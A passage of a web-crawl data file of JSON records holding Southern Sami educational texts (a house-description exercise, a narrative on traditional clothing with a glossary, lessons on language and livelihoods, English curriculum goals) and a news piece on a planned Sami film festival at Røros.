2018","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.stromsund.se\/1027.html","date":"2019-02-18T23:50:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247488490.40\/warc\/CC-MAIN-20190218220415-20190219002415-00614.warc.gz","language":"sma","language_score":0.960847497,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9608474969863892, \"swe_Latn_score\": 0.019883273169398308, \"sme_Latn_score\": 0.017530178651213646}","num_words":91,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov sjaljan bïjre\n\n\nMov sjaljan bïjre\nMov lea rööpses gåetie.\nGåetien åelkiesbielesne stoerre skåajje.\nGåetien garrabielesne bïjlegeajnoe.\nGåetien duekesne baalka.\nDïhte baalka skåajjen tjïrrh jåhta.\nGåetien uvte lea onnegåetie jïh garaasje.\nGaraasje lea gåetien jïh onnegåetien gaskesne.\nGaraasjen sisnie plaave bïjle.\nGaraasjen åelkiesbielesne akte viskes bïjle.\nOnnegåetien uvte göökte stoerre såekieh.\nÅabpa såekiej gaskesne stååkedeminie.\nAehtjie lea garaasjetaatjen nelnie tjahkesjeminie.\nTjidtjie gåetien duekeste vaedtsieminie.\nMov gaahtoe lea dan viskes bïjlen nuelesne.\nMov bïenje, Tjappe, tjidtjien uvte hajkeminie.\nJïh manne leam aahkan luvnie.\nLaavenjassh:\n- Les og tegn hvordan der ser ut rundt huset som beskrives i teksten ovenfor. Sammelign tegningen din med dine medstudenters tegninger.\n- Skriv en tekst om hvordan det ser ut rundt ditt hus.\n- Les opp beskrivningen og la dine medstudenter tegne.\nGjør oppgave: LAAVENJASSE\nThis entry was posted in Uncategorized. Bookmark the permalink\n.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/kuvsje.oahpa.no\/index.php\/2012\/11\/20\/mov-sjaljan-bijre\/","date":"2019-02-21T19:58:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247508363.74\/warc\/CC-MAIN-20190221193026-20190221215026-00125.warc.gz","language":"sma","language_score":0.9987758398,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.998775839805603}","num_words":135,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie tjaalegisnie Julia Axmann soptseste guktie dah gåptoem, boenge-skuvmiem, tjohpem, beelhtem jïh skinskieh proehkh gåaroejin. Soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie tjaaleme.\nGåptoe, boenge-skuvmie, tjohpe, beelhte jïh skinskieh proehkh\nGaarmanæjjan gåptoe vaaresistie jïh budteldahkesne skrovrine. Jïh gåahkem guektien-giertes vaaresistie. Jïh die baskehtibie gåahkem måedtien aejkien bïjre jïh aalkest, guktie galka stonkehke sjïdtedh jïh bijjene tjåadtjodh. Jïh die budtebe dam åvte-bealam våålese jïh bïjre gåahkem. Tjeapohken luvhtie jïh beelht-sæjjan geeveldahkesne, guktie boenge-skuvmiem utnedh. Jïh sissien barre akte saejmie jïh gïeten-nueliem geevie. Bïjre gïetem aaj skrovrine budtie. Jïh gåptoe galka nöödtedh bijjelde jïh vuelelen njohtelem. Jïh die kruehkieh gåarodh beelhte-sijjeste jïh våålese dom åvte-bealam. Orre gåptoeh skrovreste aaj gåaroeh.\nJïh boenge-skuvmie muvhtene barre skrovreste, rööpses jïh kruana. Tjåanghkan gåarobe barre goh læstoeh. Jïh muvhten boenge-skuvmien jorpe leahtah jïh gierkijste jïh muvhten ditneste.\nTjohpem gåaroejibie skrovreste jïh muvhtene jeatjh ålloe-tyjjeste; njieljie-stielie - snïjpe - tjohpe. Dejtie stielide dïeskerdibie jïh tjåanghkan gåaroejibie; jïh skrovreste giedtsies rööpses skrovrem bijjelen dah njieljie saejmieh. Dellie snïjpem vijjem golmen geartan jïh baskehtem abpe snïjpem. Jïh die budtem rööpses skrovrine jïh kruana skrovrem nualan dam roepsedem jïh bïjre göökten aejkien baskehtem. Skrovride leam tseahkehtahteme. Dam snïjpem gåaroem gaskoeh aktem saejmiem jïh snïjpeste aktem bielie-stuhtjem bïjre tjohpem jïh snïjpen gåajkoe dan mubpien bealan. Dam bielie-stuhtjem aaj budtem, tseahkehtem skrovrem barre goh snïjpesne. Jïh vuelege budtem rööpses skrovrine, voestegh sisnie-bieleste jïh die skrovrem marngestem mubpien bealan jïh gåaroem bïjre jarkan. Jïh die stoerre duahpam rööpses laejkeste, jïh sigkem tjohpen bijjelde stieliej tjïrrh jïh dabrelem bïjre jarkan.\nTjidtjie gåaroeji sov ohtje påajkese aaj stielie-tjohpem. Idtji snïjpem, jïh idtji bielie-stuhtjem. Dellie budti tjohpen vuelie-gietjiem bïjre jarkan. Jïh gaajhki saejmiej bijjelen giedtsies skrovrem. Idtji duahpam gåaroeh, ohtje sïlpe-tjåahtjem, jïh die laave dan tjåahtjen*.\nAvtesne gaarmanæjjah ditnie-beelhth utnin maam saemieh jïjtjh hååkin. Muvhtem beelhtem gåaroejin ditneste. Jïh muvhtem ditnie-beelhtem gaarmanæjjah mah meehtin, stealladin jassijs hovreste gosse ditnie-spaagkah mejtie dan hovren tjirrh, jïh tseepmin guktie gaajhkh spaagkah sjïehtin.\nNyjsenæjjah aaj vaaresistie gåptoeh gåaroejin. Dej gåptoej akte saejmie rudtjesne, jïh die saejmie gïete-gaaveste jïh våålese. Jïh tjåanghkan gåårelge åelkine. Jïh akte saejmie åvte-bealesne beelht-sijjeste. Jïh die mïelken baaktoe geeveme guktie boenge-skuvmiem utnedh. Jïh bïjre tjeapohkem jïh mïelkem våålese budtebe. Jïh sissieh skrovrine budtebe, dah vuelie-gietjieh. Jïh die læstoeh gåaroejibie, bijjemes rööpses skrovreste jïh die kruana.\nGosse tjåanghkan gååreme, dellie gåptoen bïjre jarkan dam læstoem gåaroejibie. Orre gåptojde skrovreste jallh jeatjh tyjjeste gåaroejimh. Saemien nyjsenæjjah badth faavrobe jïjtse vaarjoej sisnie.\nJïh boenge-skuvmiem aaj goh læstojste. Beelhte-sijjien gåajkoe nöödtie. Muvhtene gierkijste gåaroejin. Bijjegenjieljien-nearthskrovre-stuhtjh jïh gierkijste gåaroeh koersehkem, jïh die geevie guktie tjeapohken bïjre sjeahta. Kruehkiem gåaroeh guktie genhtsemen baaktoe kråahkohte. Jïh die jorpe-leahta-boenge-skuvmieh nyjsenæjjah aaj utnieh. Jïh beelhth ditneste jïh gierkijste gååreme.**\nJïh die nyjsenæjjaj tjohph. Tjeeregi tjeehpes tjurrie-tjohpe maam tjeehpes silhkeste jïh dïeskerdamme; jïh die budteme aaj silhkine, dovne tjurriem jïh bïjre tjohpem. Tjurrien mietie tjeehpes gierkieh jïh genhtsiemisnie duahpah silhkeste. Nïejti rööpses silhke-tjohpe, maam aaj dïeskerdamme jïh seamma leejne gååreme. Jïh gierkieh tjurrien mietie, rööpses jïh veelkes jïh kruana gierkieh maam barre åtna.\nJulia Axmann, snaltjen 1941\nGiesege skinskieh åvtesne provhkeme. Jïh dah badth hijven utnedh gosse johkh gaalehtjadtedh. Eah lovvh gosse barre nietsegh tjiehpies-ligke naaleren gååre jïh bijjelen baarhkohken roejesem voedtegem geasa.\nDaelvege vaares-proehkh. Dah bïjvelommes elmien jïh tjåetskemen. Gosse ryöjnesjidh, dellie gaalsohkh bijjielistie.\nJulia Axmann, snaltjen 1941\n* Dïhte tjåahtje jorpehke, vuelie-gietjien goh låtjkoe, jïh bijjie-gietjesne laave. Dehtie låtjkoste dabreli dej stieliej gaskoeh, jïh sisnie-bieleste dabreli. Beelhten aaj tjåahtjh.\n**Baantjere\nAktem skåerrie-stuhtjem gååre akten plïehtje reagkese. Dïhte skåerrie guektien giertien jïh naaleren gååreldahkesne gåabpegh bielieh. Gosse stuhtjem gååreme bielkien gåhka, dellie aaj viht reagkam gååre. Jïh die göökte skåerrieh-stuhtjh dan seamma reagkese; dah aaj guektien giertien gååreldahkesne, göökten haaran. Jïh die reagka gååreldahkesne dan gåabpegen geatjan. Dam baantjerem gååre pruvnieldimmie garhtsese. Dihte garhtse galka dan guhkies årrodh guktie nöödtie beelhten låtjkose. Dellie baantjere gåabpegen geatja.\nBaakoeh\nSaemien\nDaaroen\ngeeveldahke, geevedahke\npinne med kløft\ngieten-nuelie, gïeten-nåelie\nrommet under armen\nnjohtele, nyhtele\nhofteledd, hofte\ntseahkahtehtedh, tjeahkehtehtedh\nklippe flere hakk\ntseahkehtidh, tjeahkehtidh\nklippe flere hakk\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\n- Kjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:173304","date":"2019-04-22T15:25:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00036.warc.gz","language":"sma","language_score":0.9999791384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999791383743286}","num_words":716,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh teeman bïjre Saejrie jïh verteme.\n1. laavenjasse\nDaelie datne artihkelem Ånnetji saejrie jïh vertemen bïjre lohkeme maam Jonar Thomasson tjaaleme. Tjaelieh åenehks tjaelijen bïjre saemien-gïelesne. Ohtsedh bïevnesh jïh guvviem gaske-viermesne.\n2. laavenjasse\n- Guktie saemieh aerebi nihperem darjoeji? Buerkesth.\n- Man åvteste vïenhth aerebi saemieh provhkin nihpierdidh? Ohtsedh vielie bïevnesh gaske-viermesne nihpierdimmien bïjre.\n- Tjaelieh åenehks tjaalegem gusnie buerkesth man åvteste almetjh aerebi provhkin nihpierdidh.\n3. laavenjasse\n- Jonar Thomasson soptseste maam aahka darjoeji gosse lij soermem tjoehpedamme. Maam daarjoeji? Buerkesth jïjtjedh baakoegujmie.\n- Jonar Thomasson aaj soptseste maam saemieh darjoejin gosse saejrie garre varta. Buerkesth jïjtjedh baakoegujmie maam dellie darjoeji.\n4. laavenjasse\nMan åvteste tjaalegh guktie daate Ånnetji saejrieh jïh vertemen bïjre vihkeles mijjese?\n5. laavenjasse\nMij lea aerpievuekie-daajroen sijjie daaletjen siebriedahkesne. Tjaelieh ussjedihks tjaalegem daan bïjre.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\n- Kjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:192356","date":"2019-04-24T11:15:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578640839.82\/warc\/CC-MAIN-20190424094510-20190424120510-00244.warc.gz","language":"sma","language_score":0.9999606609,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999606609344482}","num_words":181,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh gïelen bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh. Gïele lea vihkeles biehkie mijjen identiteeteste, jïh gosse soptsestibie jïh tjaelebe, mijjieh soptsestibie gie mijjieh libie jïh gustie båetebe.\nGïele\nÅarjel-saemien gïele lea seamma gïele-fuelhkesne guktie noerhte-saemien jïh julev-saemien gïelh. Men gïeli gaskem jïjnjh joekehtsh, guktie maehtebe dejtie sjïere gïeline gåhtjodh. Gïelem maehtebe ovmessie gïeleldh suerkine juekedh goh fonologije, morfologije, syntakse, leksikovne, semantihke jïh prosodije. Dah ovmessie gïeledh suerkieh soptsestieh guktie åarjelsaemien gïele bigkeme. Dovne guktie mijjieh soptsestibie jïh guktie tjaelebe.\nSaemien gïele-dajve\nSaemiej eatneme Femundeste Nöörjen bielesne jïh Idreste Sveerjen bielesne Kolanjaarken ryöhkoe. Saemiej eatneme daej rïjhki rastah jåhta; Nöörjen, Sveerjen, Såevmien jïh Russlaanten. Dajve lea 1500 km guhkie jïh 3-400 km gamte.\nSaemien-gïelen gellie smaareh-tjïerth. Dej gaskem dan jïjnjh joekehtsh guktie maehtebe dejtie sjïere gïeline gåhtjodh. Daajroes saemien-gïele Såevmien – Ugrihken gïele-maadtoste. Dïsse jeatjah gïelh aaj govlesuvvieh - dah leah Luvlie-mearoen låvletje gaedtie-bealam jïh gelline lehkine Russlaantesne. Såevmien-ugriken gïelh jis aaj Ural-gïelen maadtoste. Dan åvteste saemien gïelh sagke jeatjahlaaketje goh Indo-europeji gïelh v.g. daaroen gïelh Nöörjesne jïh Sveerjesne. Ij leah iktegisth gïele-raasth nimhtie vååjneme. Saemien gïelesmaareh-tjïerth noerhte Nöörjen gaedtie-bielien mietie leah baataramme mubpijste gïelesmaareh-tjïertijste. Naakenh dejstie Åarjel-såevmien smaareh-tjïertijste joe gaarvenamme\nGïele-raasth leah seamma goh gåptoej jïh duedtiej raasth, jïh dah rïjhke-raasti dåaresth juhtieh. Eah dejnie lïhkes smaareh-tjïertine dan jïjnjh joekehtsh. Guhkebe sinsitneste båetebe dellie ij leah aelhkie sinsitnien gïelem vielie guarkedh. Eah noerhte-saemieh jïh åarjel-saemieh sinsitnien gïelem guarkah.\nVuartesjh filmem: Et arktisk naturspråk - Det samiske språket .\n- Kjernestoff\nJienebe-gïelen siebriedahke lea akte siebriedahke gusnie almetjh ovmessie gïelh soptsestieh, jïh dah ovmessie gïelh ektesne jielieh.\n- Kjernestoff\nSaemien gïele, kultuvre jïh siebriedahke lea vaarjelamme nasjonaale laakine jïh gaskenasjonaale konvensjovnine.\n- Kjernestoff\nGïele lea vihkele aalkoe-almetji identiteetese, kultuvrese jïh siebriedahkese. Veartenen aalkoe-almetji gïelh leah håvhtadamme daan biejjien.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502","date":"2019-04-25T22:35:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00292.warc.gz","language":"sma","language_score":0.9999864101,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999864101409912}","num_words":284,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh aerpievuekien daajroen jïh jielemi bïjre lïeredh. Båatsoe, vijreme jïh vætnoe leah aerpievuekien jielemh. Aepievuekien daajroe lea daajroe mij boelveste boelvese jåhteme.\nMij aerpievuekien jieleme?\nSaemiedigkie naemhtie aerpievuekien jielemi bïjre tjaala: \"Aerpievuekien mietie dle saemien jielemh vïedteldahkesne orreme eatnamasse. Saemieh sijjen jieliemassem jïh dïenestem åådtjeme dejstie vierhtijste eatnamisnie, göölemistie, jåartaburreste jïh båatsoste, naakede mij aaj ïebnh vadteme duadtan jïh ovmessie dorjesidie. Saemien årrojh jïjtjemse sjïehtedieh jïh evtiedieh bielelen jïjtsh kultuvrem laehpedh. Dïhte fleksijbele jïh sjugniedihks vuajnoe jarkelæmman jïh orreussjedæmman lea akte vihkeles aarvoe saemien jielemeevtiedimmesne aaj daan biejjien.\"\nBåatsoe\nBovtse jïh båatsoe joekoen vihkele saemide, dejbeeli jïh aaj daan biejjien. Saemieh dovne Nöörjeste, Sveerjeste, Såevmeste jïh Russlaanteste bovtsigujmie barkeminie. Jalhts jeenjemes saemieh jeatjah barkoeh utnieh, bovtse jïh båatsoe joekoen vihkele saemien kultuvrese.\nVætnoe\/Duedtie\nBaakoem duedtie saemien nuhtjebe vætnoej bïjre. Men duedtie aaj akte kultuvreguedtije jieleme mij stoerre ulmiem åtna saemien gïelese, kultuvrese jïh jielemeevtiedæmman. Saemieh iktegisth vytnesjamme jïh destie maehtebe gïelem jïh aerpievuekieh lïeredh.\nVijreme\nÅvtelen saemieh eelkin bovtsh deemedh dellie vijrin jïh bivtin. Maehtebe annje daan biejjien kultuvre-mojhtesh gaavnedh mah vuesiehtieh saemieh vijrin jïh bivtin. Aaj gellie tjaalegh tjaaleme mah soptsestieh guktie saemieh vijrin jïh bivtin. Annje daan biejjien gellie saemieh vihkeles utnieh vijredh jïh bivtedh.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758","date":"2019-04-25T22:50:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00324.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":264,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dellie maa akte vihth saemien filmefestivaale\nTråante 2017-heevehtimmesne kinove Rørosesne, kinoven åvtehken baaktoe, Jo Hage, sïjhti heevehtimmiem mïerhkesjidh jïh saemien filmh vuesiehtidh. Goh jeahteme goh dorjeme jïh aktene fuehpies filmebiejjesne dah 12-13 saemien filmh vuesiehtin Storstuggusne Rørosesne. Abpe filmebiejjie akte stoerre lahkoe sjïdti jïh dan åvteste sïjhti dam akten ihkuve heannadæmman darjodh.\n– Gosse vööjnimh daate akte hijven öörnedimmie sjïdti, gosse dan jeenjesh böötin mah sïjhtin filmem vuartasjidh, jïh ij lij ajve saemieh mah böötin, dellie gaavnehtimh mijjieh sïjhtimh daate edtji saemien filmefestivaaline sjïdtedh. Jïh gosse vuesiehtimmien gaavhtan vuajna Tromsø International Film Festivalesne ahkedh jienebh filmh båetieh, dej gaskem Amanda Kernell jïh altese lahkoe filmine Saemien vïrre, dellie dïhte vuesehte saemien filmh hov gåarede darjodh. Røros aadtjen saemien reeremetjïeltine sjïdteme, guktie mijjen leah nuekies argumeenth juktie guhkiebasse barkedh dagkeres filmefestivaalem buektiehtidh, kinoven åvtehke Jo Hage jeahta,\nDellie maa akte vihth saemien filmefestivaale\nKinoven åvtehke veanhta sijjie gååvnese akten vihth filmefestivaalese Nöörjesne. Altese daajroen mietie ij leah naan saemien filmefestivaale Nöörjesne daan biejjien, jïh gosse filmefestivaale åarjelsaemien dajvesne öörnesåvva, dïhte lea lissie murreds. Aaj gåhkese Inarisnie mïnnedh gusnie Skábmagovat\n– saemien- jïh aalkoealmetjefilmefestivaale öörnesåvva fïerhten tsïengelen. Dan åvteste satne jïh doh mubpieh moenehtsisnie sijhtieh filmefestivaale edtja saemien profijlem utnedh, jïh guhkiebasse pryövedh olkese veartenasse jaksedh.\nMeatan åtna gaskem jeatjah Stig Arne Somby mij saemien filmefestivaalem guhkiem sjaavnjoehtamme.\n– Jaepien 2019 EN:n gaskenasjonaale aalkoealmetjegïelejaepie, akte hijven jaepie filmefestivaaline nïerhkedh goh daate. Dan åvteste sïjhtebe vuesiehtidh jeatjah aalkoealmetjefilmh jïh destie dagke jienebh vuartasjæjjah filmide åadtjodh, Somby tjïelkeste.\nDah guaktah ussjedægan festivaale edtja gaajhkesidie årrodh, men sjïerelaakan stuvresovvedh maanaj jïh noeri vööste. Håhkoe lea festivaale maahta våaromem vedtedh orre noere saemien filmesjugniedæjjide.\n– Mijjieh soejkesjeminie skuvlevuesiehtimmieh festivaalen åvtelen, jïjtse maanaprogrammem, åenehksfilmeprogrammem jïh sïejhme filmh, mijjieh vuarjasjibie jienebh sijjieh gusnie maehtebe filmh vuesiehtidh, jïh soejkesjeminie dam voestes filmefestivaalem öörnedidh gålkoen\/rahkan 6.-10. b. 2019. Akte dejstie aatijste mejnie daelie barkeminie lea beetnehvierhtieh gaavnedh. Ibie annje daejrieh mennie åesesne festivaale sjædta men lissine filmevuesiehtimmide sïjhtebe aktem jallh jienebh barkoegaavnedimmieh buektiehtidh gusnie maanah jïh noerh maehtieh lïeredh filmem darjodh. Mijjieh tjarke sïjhtebe festivaale edtja meatan årrodh noerh skreejrehtidh filmine barkedh, Hage tjïelkeste.\nGuktie festivaalen nomme?\nDoh göökte filmeruerrieh gegkiestieh dåarjoem åadtjodh dovne Saemiedigkeste, Saemieraereste, Saemien filmeinstituhteste, Røros tjïelteste jïh jieniebijstie. Men uvtemes tjuerieh nommem gaavnedh festivaalese jïh dïsse viehkiem sijhtieh lohkijijstie plaereste Samimag.no.\n– Ibie nommese ussjedamme annje, jïh dan åvteste dijjieh doh voestes mah festivaalen bïjre tjaelieh, gegkiestibie naakenh dijjeste aktem hijven nommem festivaalese utnieh. Seedtede maaje aktem jallh jienebh nommeraeriestimmieh mijjese, akte eadtjohke Stig Arne Somby jeahta mij hævvi sån sæjhta, kinoven åvtehkinie ektine Rørosesne, Jo Hage, såemies tjaangemeleahpah kinovasse vedtedh dïsse mij vitnijinie sjædta.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/content\/dellie-maa-akte-vihth-saemien-filmefestivaale","date":"2019-07-17T05:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00457.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":420,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nMaahtoeulmie 7. daltesen mænngan\nGïelelïerehtimmieMål for opplæringen er at eleven skal kunne\n- damtijidh jïh ovmessie tsiehkieh jïh lïerehtimmievuekieh nuhtjedh juktie jïjtse tjiehpiesvoeth eengelsken gïelesne vijriedidh\n- soptsestidh guktie satne barka eengelskem lïeredh\n- naan gïelen hedtieh jïh joekehtsh damtijidh eengelsken jïh jïjtse ietniengïelen gaskem\n- digitaale vierhtieh jïh jeatjah viehkiedïrregh nuhtjedh jïjtse gïelelïerehtimmesne\nNjaalmeldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- goltelimmie- jïh soptsestimmievuekieh nuhtjedh\n- baakoeveahkam guarkedh jïh nuhtjedh åehpies aamhtesi bïjre\n- åejviesisvegem njaalmeldh tjaaleginie guarkedh åehpies aamhtesi bïjre\n- dåajmijes lahtesh nuhtjedh jïh lahtesh mah leah tseahkan sjïehtedamme\n- soptsestidh juktie viehkiem åadtjodh guarkedh jïh guarkeme sjïdtedh ovmessie tsiehkine\n- jïjtse mïelem soptsestidh jïh buerkiestidh åehpies aamhtesi bïjre\n- aelkedh, steeredh jïh soptsestimmieh orrijidh mah leah åehpies tsiehkiej bïjre\n- vihkeles maallh nuhtjedh baakoestæmman, intonasjovnese, baakoesojjehtæmman jïh raajesesåarhtide govlesadtemisnie\n- soptsestidh aelhkie aerviedimmiej, valutan jïh möölegeektievoeti bïjre gosse aarkebiejjien tsiehkiej bïjre soptseste\nTjaaleldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- lohkeme-jïh tjaelemevuekieh nuhtjedh\n- baakoeveahkam guarkedh jïh nuhtjedh åehpies aamhtesi bïjre\n- åejviesisvegem guarkedh jïjtjeveeljeme tjaaleginie\n- ovmessie såarhts tjaalegh lohkedh jïh guarkedh ovmessie gaaltijijstie\n- notaath vaeltedh juktie ovmessie såarhts tjaalegh darjodh\n- galkije tjaalegh tjaeledh mah buerkiestieh, vaajestieh, dååjresh buerkiestieh jïh jïjtse mïelh buektieh\n- vihkeles maallh nuhtjedh reaktatjaeliemasse, baakoesojjehtæmman, raajese- jïh tjaalegebigkemasse gosse tjaalegh dorje\n- digitaale dïrregh jïh jeatjah viehkiedïrregh nuhtjedh juktie sjyöhtehke bïevnesh gaavnedh jïh ovmessie såarhts tjaalegh darjodh\nKultuvre, siebriedahke jïh lidteratuvreMål for opplæringen er at eleven skal kunne\n- almetji, sijjiej jïh heannadimmiej bïjre soptsestidh eengelskegïelen laantijste\n- jieledevuekiej bïjre soptsestidh jïh guktie almetjh ektesne årroeh ovmessie kultuvrine eengelskegïelen laantine jïh Nöörjesne, dej gaskem saemien kultuvre\n- eengelskegïelen maana-jïh noerelidteratuvrem lohkedh jïh almetji jïh sisvegen bïjre soptsestidh\n- jïjtse reaksjovnh buektedh eengelskegïelen lidteræære tjaalegidie, filmide, nedtekultuvrese, guvvide jïh musihkese\n- skaepiedihkslaakan soptsestidh viehkine skraejrijste ovmessie såarhts eengelskegïelen lidteræære tjaalegijstie ovmessie gaaltijijstie\n- åenehks tjaalegh åehpiedehtedh jïjtjeveeljeme aamhtesi bïjre\nSide 8 Av 11","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Kompetansemaal\/maahtoeulmie-7.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-01-27T05:56:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00128.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 